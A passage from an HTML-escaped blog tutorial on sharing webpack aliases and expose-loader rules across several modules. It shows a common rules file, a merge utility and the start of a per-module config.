class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;arr&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;[object Array]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Here&apos;s a list of common rules and aliases defined explicitly in a separate file.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: webpack.common-module-rules-and-alias.js&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;path&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;__dirname&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;/../&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; alias&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Common thrid-party libraries being used in different modules&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;pubSub&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;node_modules/pubsub/dist/ba-tiny-pubsub.min&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;select2&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;node_modules/select2/dist/js/select2.full.min&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;acrossTabs&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;node_modules/across-tabs/dist/across-tabs.this&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ....more&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Common self-baked utilities&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;utils&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;lib/player/utils&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;storage&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;lib/player/storage&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ....more&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Common services&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;auth&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;lib/Auth&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;gaUtils&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;lib/GAUtils&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;DOMUtils&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;lib/DOMUtils&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;arrayUtils&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;lib/ArrayUtils&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ....more&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Common constants&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;AnalyticsEventEnum&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;lib/constants/AnalyticsEventEnum&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;MapTypeEnum&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;lib/constants/MapTypeEnum&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;segmentAnalyticsUtils&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;lib/analytics/SegmentAnalyticsUtils&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ....more&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; rules&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/jQuery/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?$&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/pubSub/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?pubSub!imports-loader?jQuery&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/select2/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?select2!imports-loader?jQuery&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/acrossTabs/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?AcrossTabs&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ....more&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/utils/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?utils&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/storage/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?storage&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ....more&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/auth/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?auth&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/gaUtils/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?gaUtils&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/DOMUtils/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?DOMUtils&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/arrayUtils/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?arrayUtils&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ....more&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/AnalyticsEventEnum/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?AnalyticsEventEnum&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/MapTypeEnum/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?MapTypeEnum&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; test&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token regex&quot;&gt;/segmentAnalyticsUtils/&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; loader&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;expose-loader?segmentAnalyticsUtils&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ....more&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We now had a common file where we could easily add/update/remove any rule and its corresponding alias. Now we needed to have a utility which combines the common rules and aliases with the already defined rules and aliases in a particular modules&apos; config file.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: rulesAndAliasUtil.js&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; moduleRulesAndAlias &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./webpack.common-module-rules-and-alias&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; genericUtil &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./genericUtil&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;mergeRulesAndUpdate&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;testRules&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; config&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;testRules &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;module &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; genericUtil&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isObject&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;config&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; genericUtil&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isArray&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;testRules&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; testRules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;moduleRulesAndAlias&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; testRules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rules&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;testRules&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;mergeAliasAndUpdate&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;aliases&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; config&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;aliases &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;resolve &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; genericUtil&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isObject&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;aliases&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; genericUtil&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;isObject&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;config&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; allAliases &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Object&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;aliases&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; moduleRulesAndAlias&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;alias&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;resolve&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;alias &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; allAliases&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; config&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Time to write our module specific config file. We&apos;ll demonstrate just one config file i.e. for moduleA and the others would look exactly the same except the options&apos; value as per module.&lt;/p&gt; &lt;p&gt;Here&apos;s the full webpack config file for &lt;code class=&quot;language-text&quot;&gt;moduleA&lt;/code&gt;.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: webpack.moduleA.js&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;path&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; webpack &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;webpack&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; env &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./../webpack.env&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Just to get the env(dev/prod), discussed in detail later&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; rulesAndAliasUtil &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./utils/rulesAndAliasUtil&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;__dirname&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;/../&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Entry, file to be bundled&lt;/span&gt; entry&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;moduleA&apos;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; basePath &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; 